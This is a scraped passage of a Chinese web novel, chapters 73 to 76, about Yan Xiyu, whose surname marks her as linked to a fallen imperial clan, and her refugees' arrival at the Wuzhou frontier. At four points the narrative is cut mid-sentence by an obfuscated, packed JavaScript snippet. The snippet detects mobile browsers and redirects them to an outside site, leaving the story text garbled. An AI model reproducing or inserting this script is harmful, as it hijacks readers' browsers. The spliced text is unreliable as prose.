佟瑰方带着佟槿方走过去给老妇人诊脉,然后佟槿方拿出银针递给佟瑰方,佟瑰方接过银针在那老妇人身上快速扎了几下,那老妇人的呼吸声忽然就重了少些,胸膛的起伏也明显了。 “咳咳咳!”紧接着老妇人就是一连串刺耳的咳嗽声。 “呜呜呜……”小娃娃抱着老妇人的一只手臂小声哭泣,像是怕吵到人似的。 “老大娘,你怎的带着小娃娃在这?村里其他人呢?”佟瑰方收了银针,然后问那老妇人,“我们要去乌州,老大娘你同小娃娃随我们一道走吧。” 那老妇人也不言语,只是用她那瘦的不见肉的五指,颤巍巍地牵着那小娃娃的手往佟瑰方的手边递过去。 “老大娘,你身子虽亏损严重,但也尚能治,你把小娃娃给我,那你……” 佟瑰方可能是看出老妇人的想法,正要开口劝说,那老妇人却是缩回了手,挣扎着将一直不曾睁开眼睛的脸侧向了里边,她这是在拒绝佟瑰方的救治。 “燕姑娘你说这……”佟瑰方没办法,只得转头看燕惜妤。 她知道燕惜妤把她和阿弟带进来,是要救这老妇人的,但老妇人却不想被他们救。 没想到佟瑰方的一声“燕姑娘”,那老妇人竟又把脸转了回来,还缓缓睁大眼睛向这边看。 燕惜妤略一挑眉,抬脚走了过去。 屋里有些阴暗,只有斑斑缕缕的光线从破损的房顶照下来,燕惜妤站在微弱的光线下,和那老妇人对上了视线。 “……姑娘姓燕?”那老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804187|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妇人用岔气的嗓音问出了这句话。 “是,”燕惜妤点点头,“我姓燕,燕子衔泥的燕。” “姓燕啊……”那老妇人喃喃低语了一句,忽然就伸手抓紧了那小娃娃的手,“你们若是带上老身,我俩怕是会成为你们的拖累。” 燕惜妤低头看着她:“活人又怎会是拖累。” 只这一句话,让那老妇人颤着声音说:“既然姑娘这般说,老身愿意同姑娘一道走。” 燕惜妤伸手把小娃娃又抱在怀里,转身对仲茂说:“把门板拆了将人抬上马车。” 仲茂他们七手八脚地拆了扇破门板,将那老妇人给搬到了马车上。 仲四的伤好的差不多,这两日马车里只有阿谦他们三小孩,现在老妇人躺了进去,还多了一个小娃娃。 佟瑰方负责给老妇人针灸治病,在交谈中得知老妇人姓桑,单名一个影字,那小娃娃是她的曾孙女,名呼宣笑满,小名小满儿。 阿谦他们三个小孩各有各的玩具,现在又来了一个小满儿,燕惜妤不能偏心,于是给小满儿也做了一个玩具。 和之前的玩具一样,燕惜妤都是就近取材,她给小满儿做了一套过家家的玩具套装。 先是让仲二用竹篾编织出一只小竹箱,接着燕惜妤就用木头制造出了一整套的小木家具。 有没有房顶的四方形木屋,然后还有小木床小木桌小木椅。床上有小木枕,还让罗采春给用小碎布缝了被褥。桌上有小碗小盘小茶杯,椅子上端坐着一个木头雕刻的小娃娃。燕惜妤还给雕刻了小狗小猫小鸭子,就为了能让小满儿喜欢这套过家家玩具。 小满儿这会儿正羡慕地看着玉彩手里的莲花灯,过一会又转头去看阿转手里的风车,她看着另外的三个小孩手里的玩具,又低头看看自己的小手,最后瘪着嘴去抱她曾祖母的手臂。 她才不想要那些,她只要她的曾祖母。 桑影靠着厢壁半躺在马车里,因为有佟瑰方的用心医治,她这两日看着比之前精神了些。 燕惜妤就是在这时提着小竹箱掀开马车的帘子弯腰进来的。 “燕姑娘来了?”桑影用手撑着坐直了身体。 “桑大娘你歇着,我是来找小满儿的,”燕惜妤对她点点头,然后看着小满儿说,“小满儿你可以过来一下吗?” 桑影见她一本正经地来找才丁点儿大的小满儿,眼中露出笑意来,轻轻拍了拍小满儿的后背说:“小满儿,燕姐姐唤你呢,快过去。” 小满儿正失落着呢,见燕姐姐不找其他小孩儿只找她,立即就开心了。 “燕姐姐,”小满儿走到燕惜妤的身边,扬着小脸看着她。 “小满儿来,你看看你喜不喜欢这种玩具,”燕惜妤搂了搂她,然后从竹箱子里先是拿出一个有门有窗的四方形木屋,“这是间小屋子,然后这是张小床,小满儿你说这小床要摆在屋子哪里?” 小满儿眼中立即闪烁着欢快的光芒,她先是小心翼翼地开了一下门屋的门,又去动了动可以合上的小窗,最后接过燕惜妤手里的小木床轻轻摆在了窗边。 “小床儿放这里呀,”燕惜妤笑着将手里的小竹箱放在小满儿的面前,“那这些要放哪里呢?” 小满儿看着一小箱子的玩具,眼睛瞬间就瞪圆溜了。 “这是小满儿的,小玉彩他们也有玩具,等你和他们熟悉了,以后可以一起玩,”燕惜妤看看阿谦他们。 几个娃娃互相看了一眼,默默地抱紧了属于自己的玩具。 “哎呦,那你们各自分开玩,”燕惜妤乐出了声,然后对桑影说:“桑大娘你歇着,我不打扰了。” 桑影对她点点头,像是没开口说话的意思,却在她转身要走时,忽然说:“我桑氏一族的主家也姓燕。” 燕惜妤脚步一顿。 主家? 如果她没记错,曾管事是陆家商队的管事,他称陆家是他的东家,说明他受雇于陆家。 而在这时代,只有那些有功名在身的官员可以买卖奴仆。 那些被买卖的奴仆,称买卖他们的人为主家。 所以,大承的燕氏一族难不成还是当官的? 73. 第73章 燕氏一族在大承当官,这个想法在燕惜妤脑海一闪而过,又给她否决了。 因为如果燕氏一族有人在大承当官,她身边的这些人对她不会是现在这种态度。 因为无论是当好官还是贪官,她身边的人至少会问一声。 类似问:那谁谁谁也姓燕,你同他是不是亲族? 都说同姓氏五百年前是一家,九族姻亲也是有关系的,尤其在这时代,同姓氏多多少少会沾亲带故。 既然没人提起,或者只是一个无人知晓的小官? 那也不对。 当初在窉州时,从那给她写户籍的文书吏官对她的姓氏表露出来的神情,就能看出燕姓确实是被他们那些人所知晓的,否则一个在衙门里的小小文书吏官不会在意她的姓氏。 燕惜妤皱眉想了好一会,都没办法理清这件事。 以前她对这件事并不怎么在意,反正她要去乌州边地了,那地方可谓是山高皇帝远,谁在乎她姓甚名谁。 再加上这一路走来,确实没谁对她的姓氏表露出好奇,仿佛她姓燕姓惜还是姓妤都无关紧要。 再者说身边的这些人都是最底层的老百姓,大字不识一个,又都正在逃跑,吃了上顿没下顿的,谁还管什么姓氏,个个都已经恨不得改头换面连名带姓一起给改了。 燕惜妤伸出手臂看了看,她为了掩人耳目逃跑时在身上涂的黄桅膏是越来越黄了。 她低头像是在看自己手臂,但脑海里却仍然在想着事情。 但桑大娘忽然说出这句话,必定是有原因的。 这件事不能置之不理,否则日后要是因为自己的姓氏惹来祸端,她到时想解决都找不到事情发生的准确来由。 可这件事情该问谁呢? 燕惜妤抬头看了看,大家各有忙碌,没谁有空闲。而且这事或许也不是所有人都会知道,必须问能清楚燕姓来龙去脉的人才行。 燕惜妤将目光移向了正在树下低声说着话的阿七和阿盛,然后又转头看了看正在灶火旁煎药的佟瑰方。 仲四的伤虽然好了,但又来了桑大娘,再加上阿谦治腿也还需要膏,这些事都是佟瑰方带着佟槿方在做。不过这时佟槿方正在跟着仲茂他们几兄弟在练刀法,所以只有佟瑰方自己在煎药。 燕惜妤想了想,向着佟瑰方走了过去。 佟瑰方正在把手边的柴枝掰断,太长了不好烧火。 燕惜妤在她旁边盘腿坐下,也伸手拿起柴枝边掰断边说:“佟姑娘,这几日辛苦你了。” 佟瑰方摇摇头:“不瞒燕姑娘,给他们治病于我自己也大有裨益。” 她虽生长在郎中家里,也因祖父开明所以学了家中祖传医术,但她被关在知县府中足足十年,逃出来后看所有的一切都很是生疏。 所以她这一路边走边给身边的这些人治病疗伤很是用心,因为医术将是她以后的安身之本。 “那就好,”燕惜妤“啪”的一声把掰断的柴枝放在佟瑰方身边,像是很随意地开口,“看着桑大娘和小满儿,让我想到了阿谦他们,等到了乌州,小满儿肯定是跟着桑大娘的,可阿谦他们却让我有些为难,他们也肯定是跟着我们落户籍的,可你也知道我这姓氏……我不能让他们随我姓燕。” 她低头掰着柴枝,也没看佟瑰方,说到自己姓氏时有些含糊又有些意在言外。 不过佟瑰方听懂了,她叹气道:“我给阿谦治腿时也想过这个事,他们无论是随罗姑娘姓罗,还是随我姓佟,又或者姓仲都可以,唯独不能随姑娘你姓燕,燕氏一族虽早已隐姓埋名,但燕姓毕竟是前朝皇族姓氏……” “啪”一声,燕惜妤掰断柴枝的声音忽然响起。 佟瑰方止住话侧头看过去。 燕惜妤若无其事地把手中的柴枝放在佟瑰方身边,也跟着吐出长长的一口气。 “就是因为这个,所以我才来找你,”燕惜妤仍然低着头在掰柴枝,说话的语气也很自然,“我知道你肯定清楚这些事,所以想让你给我说说,我到了乌州要不要也改姓。” 燕姓竟然是前朝皇族的姓氏,怪不得啊!那这一切就说的通了。 老百姓对燕姓毫不关心,是因为他们现在是大承朝的子民,他们不敢也不会去提到前朝。一来是怕惹事,二来是谁当皇帝于老百姓而言都差不多,反正该交的赋税还得交,再换一百个皇帝都得交赋税。 另外老百姓之所以不会提起燕姓,也同样因为燕姓是前朝皇族姓氏,前朝都不知道灭亡多久了,谁还会记得前朝皇族姓什么。 当然她身边也有知道这些事的人,佟瑰方就是其中之一。 但知道这些事的人并不会跑来当面问她:燕姑娘,你和前朝皇室族人是不是有关系? 至多是在暗地里猜测她的身份来历,而且就算她真是前朝余孽,她身边的这些人也没得选,只能继续跟着她这个姓燕的人。 因为他们在当朝都已经没活路了,哪里还在乎什么前朝当朝的。 而那些当官的对燕姓忌惮而又暗中思量,是因为他们怕前朝燕氏一族会反承复……前朝是什么朝来着? 燕惜妤面无表情地“啪”的一声又掰断了一根柴枝,然后往旁边放。 佟瑰方伸手接了过来放进灶火中:“燕姑娘说要改姓,此言可当真?” 燕惜妤听出了她话中的调侃,侧头笑着看了她一眼:“佟阿姐觉得我该改什么姓氏?我要改一个连大承皇帝都轻易不敢动的姓氏。” 她叫身边的人总是很随意,有时喊佟瑰方佟阿姐,有时喊佟姑娘。喊佟槿方也一样,有时喊槿方,有时喊佟兄弟。 对于这些常常不一样的称呼,他们听了也觉得亲昵,觉得和燕惜妤没有疏离感,因为只有很亲近的人,才会不在意称呼,就好比那些成了亲的眷属,娘子偶尔会骂自家相公一句“死鬼”。 佟瑰方也抿嘴笑:“自然是改成羿姓,燕姑娘身手这么了得,说是姓羿没人会不信。” 燕惜妤脸上平静淡然,心里却悄悄地松了一口气。 好在她知道佟瑰方口中说的羿姓是谁,因为这一路走来,她时不时就会听见羿家军这三个字。 这其实也是导致她之前忽略了去了解自己姓氏的原因,像那些非比寻常的姓氏,老百姓总是会隔三岔五就会提起,就如同羿家军这样,她一个穿过来的人都已经听得耳熟能详。 所以她认为燕姓无论是好是坏,总该会有人提起。 可谁又能想到燕姓是前朝皇族的姓氏,要真有那些知道前朝皇族姓氏的老百姓平日也不敢提啊,前朝都不知道灭亡多久了,现在忽然提起,万一被人诬蔑提起前朝就是造反,那可是杀头的大罪啊! 她顶着前朝皇族的姓氏从仓州一路大摇大摆地走到了乌州,这要是半道有哪个衙门官员说她是前朝余孽……燕惜妤只觉得自己脖子莫名一阵发凉。 但不对啊! 燕惜妤忽然一顿,她在窉州时已经进过衙门,给她填户籍资料的文书吏官是知道她姓燕的…… 这事怎么还一环扣着一环解不开了呢! 虽然知道这里边肯定还有些她该了解清楚的事情,但燕惜妤却不敢再从佟瑰方口中继续套话,佟瑰方是个聪明的女子,她如果套话太过于明显,很容易就会露馅。 算了,就先暂时这样吧,反正都已经这么一路大摇大摆走到这了,日后走一步算一步再见招拆招吧。 燕惜妤在心里重重地叹了口气,这才对佟瑰方说:“姓羿……还是算了,羿家军守在乌州边地,我如果改姓羿那不是自投罗网。” 佟瑰方抿嘴笑着说:“或许羿家爱才好士,说不定会留下姑娘。” “还是算了,我顶着燕姓要真进了羿家军,那无疑是把羿家推上了风口浪尖。”燕惜妤想想都要替羿家喊冤,羿家兵权在握, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815439|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大承皇帝就算真重用羿家,大承的那些臣子却未必会信任羿家,再说各人为了自身的利益,在朝堂上尔诈我虞的,任何一场宦海风波能让输了的人被抄家问斩。 “我倒是觉得羿家未必会怕,”佟瑰方将手里的柴枝放进燃烧着的灶火中,“不过姑娘既然如此说了,那自然是听姑娘的。” 燕惜妤听佟瑰方这话里的意思,好像还有另外的深意。她是真想知道,但她又不能开口问。 因为她姓燕,因为燕姓是前朝皇族的姓氏,如果她是大承子民,她身为燕氏一族的子孙,她自己就该早已经了解清楚所有关于燕姓的一切。 可她虽然姓燕,但她是真不知道。却也不能开口问,因为她姓燕。 她要是开口问了,无疑是不打自招,很容易就会引起别人的怀疑。 万一别人反问她:你姓燕你竟然不知道?你燕氏一族可是前朝皇族,就算你不是前朝皇族燕氏正支,可你姓燕你就该了解燕氏一族的一切,否则要是有衙差来盘问你的宗族,你如果说不清,你就不怕被砍头吗? 怕啊!但她也是真不知道啊!谁能相信她一个姓燕的,直到今日才知道燕姓竟然是前朝皇族的姓氏! 燕惜妤又在心里默默叹气。 看来要去找几本关于大承和前朝相关的书籍才行,她不能明着向人打听,总可以在暗地里偷偷看书。 这时佟瑰方灶上的药煎好了,她先挪开煎药的锅,燕惜妤伸手把旁边盛满了清水的镬子给搬了上去。 佟瑰方用布端着药离开了,只留下燕惜妤坐在灶火前发呆。 她在想该找什么样的书籍才能查到关于前朝的事情,并且还要瞒着其他人,否则一旦被人发现就会坐定她是前朝的余孽。 这种事还是要尽量避免,那毕竟是大事,她也不可能一个人去对抗整个大承朝廷。 再说她虽然姓燕,可她并不是前朝皇族的后人,前朝皇族燕氏和她没关系! 燕惜妤将手里的柴枝放进灶火,然后站了起来。 转身走向板车时,她看见了坐下树下的阿七和阿盛。 阿盛好像是读书人,他应该知道乌州哪里有书店。 羿衍椋和盛樗容正在低声说着话,一抬头,发现燕惜妤正在看着这边。 他顺着燕惜妤的视线侧头,目光停留在身旁坐着的盛樗容身上。 盛樗容被他这么一看,心里咯噔一下:“七哥?”你好端端的,怎这样看着我?我也没说错话吧? “燕姑娘在看你,”羿衍椋看着他。 盛樗容这才侧头看过去,然后和燕惜妤四目相对。 对方对他笑笑,转身进了垂挂着草帘子的板车。 “……她这是?”盛樗容被她看得一头雾水,回过头见他七哥还在盯着他,连忙说,“这其中或许有误会。” “那她为何不看我?”羿衍椋盯着他,“她同你说了什么?” “什么也没说啊!”盛樗容大呼冤枉,“我压根儿就没同燕姑娘私下说过话!” 羿衍椋这才收回目光,还不忘提醒盛樗容:“你已经有了婚配,别让盛家在皇都成为笑话。” 他这话一说出来,盛樗容立即就哭丧着脸:“我人都已经快到乌州了,七哥你能不能别再提那事了?” 羿衍椋淡淡地说:“你逃了,你让人家姑娘如何是好。” “别!七哥我求你别提!再说那只是两家长辈的戏言,谁知道被哪个王八蛋给传了出来!别提了,一提起我这心就发慌!”盛樗容连忙阻止他,“你还是想想燕姑娘就要到乌州了,你这羿少将军难道就不怕?” 羿衍椋瞥他:“我该怕什么?” 盛樗容意有所指地扫了一眼前面的板车,压低声音说:“姓燕的人出现在乌州,你身为羿家少将军同此人一道现身,你猜对你羿家一直虎视眈眈的那些人,会觉得这事是巧合、人为,还是天意?” 74. 第74章 羿衍椋沉默了一霎,才淡然道:“若燕姑娘不是前朝皇族燕氏的后人,那就是巧合,若她是,那就是天意。” 盛樗容又扫了眼那辆陆家商队曾管事留下的马车,低声说:“为何不是人为?桑家的后人可也是出现了。” 羿衍椋有些不以为然道:“你怎知她就一定是前朝桑家的后人?” “她或许不是,但与你羿家敌对的某些人会说她是,”盛樗容瞥着羿衍椋,“七哥,你是不是早就有了打算?” 羿衍椋侧了侧脸,冷哼了一声:“敌不动我不动,你读的兵书都白看了?” 盛樗容心虚地移开了视线:“那七哥你说要不要盯着点那桑大娘?” “不用,”羿衍椋冷声道,“她若真是前朝桑家的后人,必定会先确认燕姑娘的身份。” 盛樗容连忙点头:“对对,我也是这么想的,她肯定会在燕姑娘面前说些能引起她注意的话,燕姑娘要真是前朝皇族的后人,定会察觉出桑大娘话中的含义,然后……” “这都只是你的猜测,”羿衍椋忽然打断他,“不要妄自确定燕姑娘的身份,你难不成是想给某些人递刀子?” 他们若是自己先把燕惜妤当成了前朝皇族的后人,那正好给了敌对的那些人留下了把柄。 “那不说燕姑娘,不说了,”盛樗容摇头晃脑,过了一会儿又忍不住开口,“七哥,民间流传的‘燕灭桑,桑若出,燕复起’……” 羿衍椋眯着眼眸扫了他一眼,他立即闭上了嘴巴。 大概知道他还会说这件事,于是羿衍椋先开口:“当初大承太祖攻进前朝皇都时,第一时间就是去救桑家的人,结果桑家人早就被皇帝下令给杀了,至于到底逃出了几个人,只有当时的桑家家主才知道。 至于外面传的‘燕灭桑,桑若出,燕复起’大概也是大承太祖的手笔,他是在借机告诉桑家人,前朝皇帝杀了你全家,你要是有血性,就不该再助燕氏重登帝位。” 盛樗容听的目瞪口呆:“大承太祖皇帝真的太会利用民间百姓的众口相传了,桑家人藏在民间,太祖皇帝都不用派人去寻,只需让人传出这么一句话,就将桑家人压至今日不出。” 羿衍椋没说话,他看着垂着帘子的板车像是在发呆。 盛樗容又压低声音问:“七哥你说,现在燕姑娘遇上了桑大娘,桑大娘到底是怎么想的?”是报桑家被灭的血海深仇,还是当那忠臣义士再助燕氏登帝位。 羿衍椋瞥他一眼:“现在是大承皇帝在位,桑家就算再找出数百座金矿银山,也不可能独占。” “我就随口问问,”盛樗容嘻嘻笑两声,“七哥你说,桑家人那与生俱来会寻宝矿的本领,对他们来说是福还是祸?” 前朝皇族燕氏之所以能在战火纷飞时一统天下登上帝位,是因为燕氏身边出了一个桑家。 桑家人别的本事没有,但偏偏桑家人无论男女,一眼就能看出哪座山有矿。 无论是金矿银矿,还是铜铁矿玉石矿,只需看一眼,就能找出来。 当时的燕氏就是靠着桑家人找出来的矿,再加上燕氏聚合的兵,这才一统了天下。 燕氏因为富有,当了皇帝之后,前十年都不曾收取百姓任何的赋税,这才让被战争肆虐了十多年的百姓得到了休养生息,这才有了四海昇平、海宴河清的燕氏皇朝。 不过也正是因为当时的燕氏皇朝太富裕了,这才导致了被内外夹攻的灭国灾难,毕竟那么多的金银财宝谁见了能不眼馋,试问谁不想当皇帝拥有那一切! 估计前朝皇帝是不想让乱臣贼子得到他曾拥有的一切,所以才会下令灭了桑家所有人。 把会寻宝矿的桑家人都杀了,看你们这些乱臣贼子还能把这摇摇欲坠的天下撑多久! 前朝灭亡之后,没了能寻宝矿的桑家人,大家也就不再奢望什么了,一个个勤勤恳恳地将大承王朝建立了起来。 就在桑家后人都已经被人遗忘时,结果眼下却忽然现身,还和姓燕的给遇上了…… 这如果不是人为,那或许真是巧合。 “但愿燕姑娘不是前朝皇族燕氏的后人,桑大娘也不是会寻宝矿的桑家后人,否则所谓的天意将会掀起血雨腥风,”盛樗容叹气道,“这于大承的百姓将会是一场灾难。” 羿衍椋冷冷地说:“就算真是天意,也得先问过我羿家众将士。” 盛樗容一怔,看着羿衍椋的眼神露出敬畏:“七哥,你不怕上战场?” “我羿氏一族为家国从来是赴死如归,”羿衍椋瞥他一眼,“少操这份心,若当真有哪天我羿家挡不住了,你再想这些事情。” “七哥别说这种话!”盛樗容皱着眉说,“大承王朝千秋万代,不会再有战争了。” 羿衍椋哼笑了一声,靠着树干闭目歇息。 夜晚的野外风很大,吹得树枝唰唰作响。 不过燕惜妤早就已经习惯了荒野之中的各种声响,也习惯每天所见全是大山和荒村,这会远远看着高大的城池一时有点儿懵。 “那是城镇?”燕惜妤抬头看着前方。 羿衍椋和她并肩站着,这时也在看着那座城池:“这里是乌州化县,那是化县的城池。” “到乌州了?”燕惜妤转头茫然地看着他。 “到了,脚下这片土地就是乌州,”羿衍椋垂眼看着她,“不过边地在泰县,你们还需再走小半月才能到边地。” 燕惜妤根本没听,她一个转身冲身后跟着的人喊:“伙伴们,我们到乌州了!” “什么?!” “这就到乌州了?!!” “这是乌州?!” 燕惜妤不识路,他们一个个也不认路,埋头一路跟着走,都已经进了乌州,他们还茫茫然地不知脚下是何地。 羿衍椋看着他们闹,盛樗容在旁边忍不住想笑:“七哥你说我们要不是同他们走了半程,估计会觉得这伙人很傻。” 羿衍椋点点头:“是有点,但谁敢欺负他们却会很惨。” “哈!”盛樗容笑了一声,“因为有燕姑娘在,谁动他们谁死。” 羿衍椋笑笑。 “总算是到乌州了,”盛樗容出了一口长气,“七哥,到你的地头了。” 羿衍椋瞥他一眼:“怎么?要我亲自招待你?” “那倒不用,”盛樗容连忙摆手。 “阿七阿盛,咱们继续往前走!”燕惜妤小跑着过来,她脸上难得露出欢快的笑容,“走!咱们去边地!” “走走走!”盛樗容对她一挥手,“早点去到边地,我们就不用再风餐露宿了。” 他说得好听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那座山有猎户去打猎吗?”燕惜妤忽然伸手一指。 羿衍椋顺着她指的方向看过去,发现她指的大山是临阜山。 真是好眼力。 羿衍椋没答反问:“看中这山了?” 燕惜妤深沉地点头:“嗯。”那座山最大,也最高,看看那高耸入云的山峰,这一定是座宝山! 羿衍椋开始挽袖子。 燕惜妤看他:“阿七你干嘛?” 羿衍椋摩拳擦掌:“给你把这座山抢过来,让你当山大王。” 燕惜妤震惊:“山脚的军营,还有正盯着这边的兵卒,你是真没看到还是假没看到啊?” 那几个兵卒确实在盯着这边,虽然距离有些远,但燕惜妤能看见他们脸上的震惊。 “引起他们的注意了!快走!”燕惜妤一把抓过羿衍椋的手腕拖着就跑。 羿衍椋那么大一个人,被她轻易就拖飞了,这下更是惊得那些兵卒个个掉下巴。 其他人见了连忙牵着马拉着车跟着跑,只剩下盛樗容呆在原地。 他愣愣地喃喃自语:“燕姑娘你牵错人了,我七哥可是那些兵卒营中的少将军。” 75. 第75章 燕惜妤拖着羿衍椋跑了一小段路,等回头看不见那些兵卒了,这才停下来。 她一停,跟着她又是牵马又是拉车的其他人也停了下来。 跑在最后面的是盛樗容,仲茂还怪他:“阿盛你怎么跑这么慢,你要是被差爷捉走我们可不管你了。” 盛樗容扫了一眼他七哥,喘着气说:“你们跑什么?不去衙门落户籍了?” “对喔,衙门在哪呢?”仲茂左右看看。 四周全是大山和荒地,只见人高的野草和茂密的树林,还有疏疏落落的低矮房舍,没看见衙门。 “……衙门在泰县,你们走过头了?”盛樗容实在是不忍心说出这个事实。 “什么?!!” 不只仲茂他们懵了,就连燕惜妤都有些错愕。 “我们走过头了?”燕惜妤看看大家,“那咱们再走回去?” “走走走!”仲茂一抖手里牵着的缰绳,边走边嘀咕,“这边有村子,我们难道不能找村长吗?” “边地没有村长,”盛樗容提醒他,“只有里正。” “那村长呢?”仲茂又是一愣。 “这里是边地,除了驻扎的羿家军,剩下的全是流放的犯人和充军的军户,”盛樗容开始为这些总是走一步算一步的人担忧起来,“他们住在屯里,归屯长管。” “那我们这些灾民住哪?”仲茂傻眼了,“也住屯里?”和那些犯人和军户住一起,还好他学会了刀法,才不怵那些人。 “灾民住在另一处屯里,”盛樗容皱眉看着他,“你们可想过日后靠什么为生?” “……咱燕姑娘会想办法的,”仲茂移开了视线。 盛樗容:“燕姑娘认识你们当真是……” 是什么他没说出来,但仲茂听懂了,很是心虚地一路低着头不再说话。 乌州是大承最大的州,但只有两个县。县镇上城池的城墙却比其它州县的城池的城墙高很多也厚很多,一看就知道这两座城池坚不可摧。 因为乌州与荒漠交界,荒漠草原上世代居住着游牧的夷狄蛮族,要是夷狄人侵袭乌州,这两座城池将是乌州百姓躲避敌军的堡垒。 泰县城池有手持长矛的兵士守城门,他们对于入城的大承百姓会仔细盘问,而对于那些长相略微带有蛮族特征的人却是阻止进城,就算那些人是跟着商队的守卫,也只能停留在城外,这也间接在城外形成了小圩市。 以城池大门为界,左边是食市,各种茅草顶的木棚小摊位高矮不一地立着,棚里摆有方桌和长条板凳。小摊的老板就在棚里里摆着他们卖的吃食,各种香味扑鼻而来。 右边是杂市,卖的东西那就更多了。 吵吵嚷嚷的,充满了烟火气的热闹。 燕惜妤带着人原本是要进城去办户籍的,这时杵在城门口有点儿走不动了。 “这么热闹啊,”燕惜妤感慨了一句。 她这一路走来,尽是看见山啊树啊,差点就要把这人间烟火气给忘了。 “边地的屯里也热闹,”羿衍椋侧头对她说,“边地人多,屯也都建在一起,平日也很热闹。” “那快点去办户籍,”燕惜妤搓了搓双手,“我总算不用一睁开眼睛就是不停地赶路了。” “……阿妹,我们怎么进城?”罗采春担忧地问。 佟瑰方俩姐弟也面露难色。 罗采春和佟瑰方俩人,一个从教坊里逃出来,另外一个从知县府中被救出来,她们都是被衙门通缉的犯人。 燕惜妤还没说话,羿衍椋就抢着说:“我带你们进去。” 大家立即盯着他。 仲茂脱口而出:“阿七兄弟,你在乌州竟有如此人脉?” “只能助你们进城,”羿衍椋正色道,“我无法让衙门给你们落户,所以关于户籍之事需你们自己用心。” “好,”燕惜妤对他点点头,“多谢阿七。” 羿衍椋看着她:“你我之间无需言谢。” 燕惜妤想说“还是要的”,但见他表情这么认真,于是改口道:“等我们一切安顿好,宴请你来我家里坐坐。” “一言为定,”羿衍椋颔首道,“你且在这等一阵,我去去就回。” 他说完,转身向着城门口走去,他背后的人都很紧张而又焦急地盯着他。 大家只见他走到守城官兵前面,从怀中掏出了一块令牌递了过去,那守城兵接过看了看,又递了回去。 他很快转身走了回来,仲茂他们连忙围上去问他:“阿七,怎么样了?!” “可以进城了,”羿衍椋对他们说,“你们随我来。” 燕惜妤忙让大家牵好马匹拉上车,跟着他往城门走去。 进城门时,果然就像他说的那样,守城兵对他们视而不见,任由他们几人牵着马拉着车安全进了城。 “我们进来了!!”佟槿方压着小声道。 盛樗容看看他,又看看前头带路的羿衍椋,心里有点五味杂陈。 羿家一代又一代人守着大承各处边地,凡是有边地的州县,皇帝都赏赐了羿家府邸,所以乌州的化县和泰县两座城池里,都有羿家将军府。 方才守城的官兵明明是认识羿衍椋的,却当作不认识地陪着羿衍椋做戏。 可怜的七哥,明明都到了家门口了,愣是不敢侧头看一眼。 羿衍椋将人带到衙门旁边的街道上,对燕惜妤说:“衙门就有那里,你带着他们过去吧。” “那你和阿盛呢?”燕惜妤问他,“你们有落脚的地方吗?” “不用为我们担心,我们在这边有亲人,”羿衍椋说,“你只需顾着你自己。” “好,那我带他们先过去,”燕惜妤很认真地同他道谢,“阿七,谢谢你。” 羿衍椋点点头,看着她带人往前走。 一直落在最后头的盛樗容这才走了上来:“七哥,我们走吧。” “再等等,”羿衍椋站着没动。 “等什么?”盛樗容不解地问,“难不成要等他们出来?” 羿衍椋没说话,但脸上的表情已经说明了他的意思。 “边地一向缺人,他们愿意去边地,乌州两县衙门那是巴不得给他们落户,”盛樗容说,“单单有仲茂他们五兄弟,今天这事必然能成。” 确实如他所说,衙门文书一听他们这一帮人要落户去边地,脸上那个笑容啊,是压都压不住。 要知道大承有好几处边地,都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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佟瑰方说了她娘亲的家乡,那是大承富饶的州县,但越是富饶的地方家族亲人之间争权夺利就越厉害。 她一个女子带着俩个小郎,最小那个还不能行走,瞬间就让人脑补了一场家族斗争的挟制排挤的戏码。 文书用了然的眼神看着他们:“来了咱这边也好,这边的人都很纯善,你们带着自家阿弟好好养伤。” 接下来是桑大娘带着小满儿,她俩一眼就能看出是妇人和小女娃,原先罗采春还怕衙门的人会不给桑大娘立女户,但文书却是眉都不皱地给落了户。 边地的这些州县,以前常年打战,家家户户只剩下些妇人和小娃,如果不给她们立女户,岂不是寒了那些死在战场上士兵的心。 文书不在乎立女户的事,却多问了一句桑大娘的姓氏:“宣老夫人娘家姓桑?”他的眼神看着和方才有了些许的不同。 “是,”桑大娘牵着小满儿的手,不卑不亢地说。 文书想了想,也没再多问,只是看向了剩下的几人:“你们几位原是哪里人氏?” 见桑大娘顺利立了女户,一直害怕的罗采春也略微放心了些。 罗采春牵着阿转,燕惜妤抱着小玉彩,站在了文书的面前。 76. 第76章 面对文书的问话,罗采春一时紧绷着说不出话。 “怎么?”文书奇怪地看着她,“话你话,且回我。” 燕惜妤就站在罗采春的后面,她抱着小玉彩也没帮着说两声。 文书看看罗采春,又看看她:“你同她是一道的?” 